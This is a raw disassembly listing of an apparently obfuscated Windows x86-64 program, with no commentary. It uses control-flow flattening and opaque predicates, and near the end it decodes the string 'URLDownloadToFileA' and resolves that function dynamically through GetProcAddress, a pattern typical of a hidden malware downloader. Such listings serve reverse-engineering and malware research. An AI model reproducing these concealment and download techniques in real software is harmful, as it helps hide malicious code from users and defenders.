mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x140042980
mov eax, 0x8cbae95b
jmp 0x14004298d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x140042980
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x140043380
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x1400433c0
cmp eax, 0x2a0b524b
jle 0x1400433e0
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140043380
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x140043380
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140043380
jmp 0x14004355e
cmp eax, 0xb97238e2
jg 0x140043400
cmp eax, 0x873bf760
je 0x14004336f
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140043380
mov ecx, 0x7bae5e91
jmp 0x140043380
cmp eax, 0x13679cf1
je 0x140043442
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140043380
mov ecx, 0xb97238e3
jmp 0x140043380
cmp eax, 0xb97238e3
je 0x140043461
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140043380
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140043380
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x140043380
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140043380
mov eax, 0x62e61b4c
jmp 0x14004298d
mov eax, 0xca2aa47c
jmp 0x14004298d
mov eax, 0xd4ce6052
jmp 0x14004298d
mov eax, 0x28f8e7fa
jmp 0x14004298d
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x140042980
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x140042980
mov eax, 0xa1a955d1
jmp 0x14004298d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x140042980
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x140042980
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14004298d
cmp eax, 0x8cbae95b
jne 0x14004298d
mov rax, qword [rbp + 0x40]
mov eax, 0x45ebc2ad
mov rsp, r10
jmp 0x140040e9e
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14004361d
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop word cs:[rax + rax]
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x140043680
cmp eax, 0x3d27c40e
jle 0x1400436e0
cmp eax, 0x69d5c2bd
jg 0x140043795
cmp eax, 0x4b18584e
jle 0x1400438bf
cmp eax, 0x62dd269b
jg 0x140043a77
cmp eax, 0x4b18584f
je 0x140043d32
cmp eax, 0x5f2b4794
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x140043610
cmp eax, 0xb7633e00
jg 0x140043740
cmp eax, 0x9a0207dc
jle 0x1400437d2
cmp eax, 0xa1a955d0
jle 0x1400438ea
cmp eax, 0xaef00e70
jg 0x140043ac8
cmp eax, 0xa1a955d1
je 0x140043d62
cmp eax, 0xa4c297a2
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x140043610
cmp eax, 0x28f8e7f9
jle 0x14004382b
cmp eax, 0x3548ed16
jle 0x140043929
cmp eax, 0x383d24c3
jg 0x140043ae8
cmp eax, 0x3548ed17
je 0x140043d96
cmp eax, 0x38010efa
jne 0x14004361d
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x140043610
cmp eax, 0xd4c9a55c
jle 0x140043875
cmp eax, 0xe3e2d3b2
jle 0x14004395f
cmp eax, 0xe8bf1131
jg 0x140043b1c
cmp eax, 0xe3e2d3b3
je 0x140043da0
cmp eax, 0xe8706593
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x140043610
cmp eax, 0x74ef2dd8
jle 0x14004399e
cmp eax, 0x7862d6f4
jg 0x140043b50
cmp eax, 0x74ef2dd9
je 0x140043daa
cmp eax, 0x76a01761
jne 0x14004361d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14004361d
cmp eax, 0x8cbae95a
jle 0x1400439c9
cmp eax, 0x9771075a
jle 0x140043d1d
cmp eax, 0x9771075b
je 0x140043db4
cmp eax, 0x988c5a5b
jne 0x14004361d
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14004361d
cmp eax, 0x9e52667
jg 0x1400439f4
cmp eax, 0xf130480a
je 0x140043dc2
cmp eax, 0xf8282498
je 0x140043dd0
cmp eax, 0x56ab6a0
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x140043610
cmp eax, 0xcec14fc6
jg 0x140043a33
cmp eax, 0xb7633e01
je 0x140043de6
cmp eax, 0xbd590664
je 0x140043df4
cmp eax, 0xca2aa47c
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x140043610
cmp eax, 0x3d27c40f
je 0x140043e12
cmp eax, 0x3d57c85c
je 0x140043e30
cmp eax, 0x4049e1a1
jne 0x14004361d
mov eax, 0x3065742d
jmp 0x14004361d
cmp eax, 0x9a0207dd
je 0x140043e4e
cmp eax, 0x9a93d6f7
je 0x1400435de
cmp eax, 0x9d093714
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x140043610
cmp eax, 0x28f8e7fa
je 0x140043e58
cmp eax, 0x3065742d
je 0x140043e76
cmp eax, 0x32a3cf92
jne 0x14004361d
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14004361d
cmp eax, 0xd4c9a55d
je 0x140043ea8
cmp eax, 0xd4ce6052
je 0x140043eb6
cmp eax, 0xdf71f794
jne 0x14004361d
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14004361d
cmp eax, 0x69d5c2be
je 0x140043ed4
cmp eax, 0x72fc1027
je 0x140043efe
cmp eax, 0x746a711d
jne 0x14004361d
mov eax, 0x56ab6a0
jmp 0x14004361d
cmp eax, 0x8582c309
je 0x140043f1c
cmp eax, 0x89a242b2
je 0x140043f26
cmp eax, 0x8a63bb18
jne 0x14004361d
mov eax, 0x4b18584f
jmp 0x14004361d
cmp eax, 0x9e52668
je 0x140043f44
cmp eax, 0x1dc66492
je 0x1400440fd
cmp eax, 0x2753fdcb
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x140043610
cmp eax, 0xcec14fc7
je 0x140044107
cmp eax, 0xd0cc8406
je 0x140044111
cmp eax, 0xd42690e8
jne 0x14004361d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14004361d
cmp eax, 0x62dd269c
je 0x14004411b
cmp eax, 0x62e61b4c
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14004361d
cmp eax, 0xaef00e71
je 0x140044125
cmp eax, 0xb0c52422
jne 0x14004361d
mov eax, 0x32a3cf92
jmp 0x14004361d
cmp eax, 0x383d24c4
je 0x14004414f
cmp eax, 0x39efa06e
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x140043610
cmp eax, 0xe8bf1132
je 0x14004416d
cmp eax, 0xed3034e3
jne 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x140043610
cmp eax, 0x7862d6f5
je 0x140044177
cmp eax, 0x7fa07399
jne 0x14004361d
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x140043c30
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140043c70
cmp eax, 0x2a0b524b
jle 0x140043c90
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140043c30
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x140043c30
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140043c30
jmp 0x1400441a0
cmp eax, 0xb97238e2
jg 0x140043cb0
cmp eax, 0x873bf760
je 0x140043c21
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140043c30
mov ecx, 0x7bae5e91
jmp 0x140043c30
cmp eax, 0x13679cf1
je 0x140043cf2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140043c30
mov ecx, 0xb97238e3
jmp 0x140043c30
cmp eax, 0xb97238e3
je 0x140043d11
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140043c30
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140043c30
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x140043c30
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140043c30
cmp eax, 0x91b9c7e8
jne 0x140044224
mov eax, 0x3d27c40f
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14004361d
mov eax, 0x383d24c4
jmp 0x14004361d
mov eax, 0x38010efa
jmp 0x14004361d
mov eax, 0x3d57c85c
jmp 0x14004361d
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14004361d
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14004361d
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14004361d
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x140043610
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x140043610
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x140043610
mov eax, 0x39efa06e
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x140043610
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x140043610
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x140043610
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x140043610
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x140043610
mov eax, 0x8cbae95b
jmp 0x14004361d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x140043610
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x140044010
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140044050
cmp eax, 0x2a0b524b
jle 0x140044070
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140044010
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x140044010
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140044010
jmp 0x1400441ee
cmp eax, 0xb97238e2
jg 0x140044090
cmp eax, 0x873bf760
je 0x140043fff
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140044010
mov ecx, 0x7bae5e91
jmp 0x140044010
cmp eax, 0x13679cf1
je 0x1400440d2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140044010
mov ecx, 0xb97238e3
jmp 0x140044010
cmp eax, 0xb97238e3
je 0x1400440f1
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140044010
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140044010
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x140044010
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140044010
mov eax, 0x62e61b4c
jmp 0x14004361d
mov eax, 0xca2aa47c
jmp 0x14004361d
mov eax, 0xd4ce6052
jmp 0x14004361d
mov eax, 0x28f8e7fa
jmp 0x14004361d
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x140043610
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x140043610
mov eax, 0xa1a955d1
jmp 0x14004361d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x140043610
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x140043610
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14004361d
cmp eax, 0x8cbae95b
jne 0x14004361d
mov rax, qword [rbp + 0x40]
mov eax, 0xdc0d7d97
mov rsp, r10
jmp 0x140040e9e
cmp eax, 0x8119d0ce
jne 0x140040e9e
mov rcx, qword [rbp + 0x20]
mov rsp, qword [rbp - 0x18]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [0x140061048], rax
mov ecx, 0xdcea2c03
movabs rax, 0x6f8e6b3289935600
mov r9, qword [rbp + 8]
nop dword [rax + rax]
cmp ecx, 0xdcea2c02
jle 0x140044350
cmp ecx, 0xf36cac5e
jg 0x1400443a0
cmp ecx, 0xdcea2c03
je 0x1400443c2
cmp ecx, 0xf1444cee
jne 0x140044290
mov qword [rbp + 0x28], r9
lea rcx, str.URLDownloadToFileA
mov qword [rbp + 0x38], rcx
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0x19]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop dword [rax]
cmp edx, 0xa47fcf0d
je 0x1400443ed
cmp edx, 0x2d981d62
jne 0x140044320
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140044320
cmp ecx, 0xa908c24e
je 0x140044472
cmp ecx, 0xc244de17
je 0x14004899f
cmp ecx, 0xce99c210
jne 0x140044290
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x78]
mov ecx, 0xce99c210
mov edx, 0xc244de17
cmove ecx, edx
jmp 0x140044290
cmp ecx, 0xf36cac5f
je 0x140044502
cmp ecx, 0x671e6780
jne 0x140044290
mov ecx, 0xa908c24e
jmp 0x140044290
mov ecx, dword [0x1400611c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xf36cac5f
mov edx, 0xf1444cee
cmove ecx, edx
cmp dword [0x1400611cc], 0xa
cmovl ecx, edx
jmp 0x140044290
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov rdx, qword [rbp + 0x28]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 1]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0x1a]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop
cmp ebx, 0xa47fcf0d
je 0x140044542
cmp ebx, 0x2d981d62
jne 0x140044450
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044450
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x68]
mov byte [rax], cl
movabs rax, 0x6f8e6b3289935600
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x38]
movzx ecx, byte [rcx + 0x12]
movabs rdx, 0x579b2baeb51bdc4
sub rdx, rcx
movabs rbx, 0x408800008002134
and rdx, rbx
movabs rbx, 0x864d4514ae423b
add rcx, rbx
movabs rbx, 0x804000000042cb
and rcx, rbx
or rcx, rdx
lea rdx, [rax + 0xb]
xor rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0x2d981d62
nop dword [rax + rax]
cmp edx, 0xa47fcf0d
je 0x1400445be
cmp edx, 0x2d981d62
jne 0x1400444e0
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x1400444e0
movabs rax, 0x6b06ab3281933593
lea rcx, [rax + 0x2a]
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop dword [rax]
cmp edx, 0xa47fcf0d
je 0x1400445e2
cmp edx, 0x2d981d62
jne 0x140044520
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140044520
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 1], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 2]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 0x1b]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x140044622
cmp ebx, 0x2d981d62
jne 0x1400445a0
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x1400445a0
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r8 + 1], cl
add r8, 2
mov rcx, qword [rbp + 0x28]
add rcx, 0x21
mov qword [rbp + 0x78], rcx
mov ecx, 0xce99c210
jmp 0x140044290
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9], cl
lea rcx, [rax + 0x10]
mov qword [rbp + 0x80], rcx
mov edx, 0x2d981d62
nop dword [rax + rax]
cmp edx, 0xa47fcf0d
je 0x14004469e
cmp edx, 0x2d981d62
jne 0x140044600
mov rcx, qword [rbp + 0x80]
mov edx, 0xa47fcf0d
jmp 0x140044600
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 2], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 3]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
movabs rdi, 0x804000000042cb
and rdx, rdi
or rdx, rbx
lea rbx, [rax + 4]
xor rbx, rdx
mov qword [rbp + 0x80], rbx
mov ebx, 0x2d981d62
nop dword [rax]
cmp ebx, 0xa47fcf0d
je 0x1400446e2
cmp ebx, 0x2d981d62
jne 0x140044680
mov rdx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x140044680
mov byte [rbp + 0x40], cl
mov cl, byte [rbp + 0x40]
mov byte [r9 + 1], cl
lea rdx, [rax + 0x15]
mov qword [rbp + 0x80], rdx
mov ebx, 0x2d981d62
nop dword [rax + rax]
cmp ebx, 0xa47fcf0d
je 0x14004475e
cmp ebx, 0x2d981d62
jne 0x1400446c0
mov rcx, qword [rbp + 0x80]
mov ebx, 0xa47fcf0d
jmp 0x1400446c0
mov byte [rbp + 0x40], dl
mov dl, byte [rbp + 0x40]
mov byte [rcx + 3], dl
mov rdx, qword [rbp + 0x38]
movzx edx, byte [rdx + 4]
movabs rbx, 0x579b2baeb51bdc4
sub rbx, rdx
movabs rdi, 0x408800008002134
and rbx, rdi
movabs rdi, 0x864d4514ae423b
add rdx, rdi
